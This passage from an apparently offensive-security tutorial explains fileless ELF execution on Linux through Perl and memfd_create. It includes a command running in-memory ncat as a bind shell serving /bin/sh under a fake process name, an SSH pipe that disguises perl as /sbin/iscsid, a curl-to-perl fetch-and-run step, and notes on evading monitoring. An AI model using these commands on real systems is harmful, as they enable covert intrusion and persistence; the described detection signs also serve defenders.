if (0 != $pid) { # Child terminates
        exit 0;
# In the grandchild here, do grandchild things

We can now have our ELF process run multiple times or in a separate process. Let’s do it.


Linux process creation is a funny thing. Ever since the early days of Unix, process creation has been a combination of not much more than duplicating a current process and swapping out the new clone’s program with what should be running, and on Linux it’s no different. The execve(2) system call does the second bit: it changes one running program into another. Perl gives us exec(), which does more or less the same, albiet with easier syntax.

We pass to exec() two things: the file containing the program to execute (i.e. our in-memory ELF binary) and a list of arguments, of which the first element is usually taken as the process name. Usually, the file and the process name are the same, but since it’d look bad to have /proc/<PID>/fd/3 in a process listing, we’ll name our process something else.

The syntax for calling exec() is a bit odd, and explained much better in the documentation. For now, we’ll take it on faith that the file is passed as a string in curly braces and there follows a comma-separated list of process arguments. We can use the variable $$ to get the pid of our own Perl process. For the sake of clarity, the following assumes we’ve put ncat in memory, but in practice, it’s better to use something which takes arguments that don’t look like a backdoor.

exec {"/proc/$$/fd/$fd"} "kittens", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";

The new process won’t have the anonymous file open as a symlink in /proc/<PID>/fd, but the anonymous file will be visible as the/proc/<PID>/exe symlink, which normally points to the file containing the program which is being executed by the process.

We’ve now got an ELF binary running without putting anything on disk or even in the filesystem.

Scripting it

It’s not likely we’ll have the luxury of being able to sit on target and do all of the above by hand. Instead, we’ll pipe the script (elfload.pl in the example below) via SSH to Perl’s stdin, and use a bit of shell trickery to keep perl with no arguments from showing up in the process list:

cat ./elfload.pl | ssh user@target /bin/bash -c '"exec -a /sbin/iscsid perl"'

This will run Perl, renamed in the process list to /sbin/iscsid with no arguments. When not given a script or a bit of code with -e, Perl expects a script on stdin, so we send the script to perl stdin via our local SSH client. The end result is our script is run without touching disk at all.

Without creds but with access to the target (i.e. after exploiting on), in most cases we can probably use the devopsy curl http://server/elfload.pl | perl trick (or intercept someone doing the trick for us). As long as the script makes it to Perl’s stdin and Perl gets an EOF when the script’s all read, it doesn’t particularly matter how it gets there.


Once running, the only real difference between a program running from an anonymous file and a program running from a normal file is the /proc/<PID>/exe symlink.

If something’s monitoring system calls (e.g. someone’s running strace -f on sshd), the memfd_create(2) calls will stick out, as will passing paths in /proc/<PID>/fd to execve(2).

Other than that, there’s very little evidence anything is wrong.


To see this in action, have a look at this asciicast. asciicast

In C (translate to your non-disk-touching language of choice):

  1. fd = memfd_create("", MFD_CLOEXEC);
  2. write(pid, elfbuffer, elfbuffer_len);
  3. asprintf(p, "/proc/self/fd/%i", fd); execl(p, "kittens", "arg1", "arg2", NULL);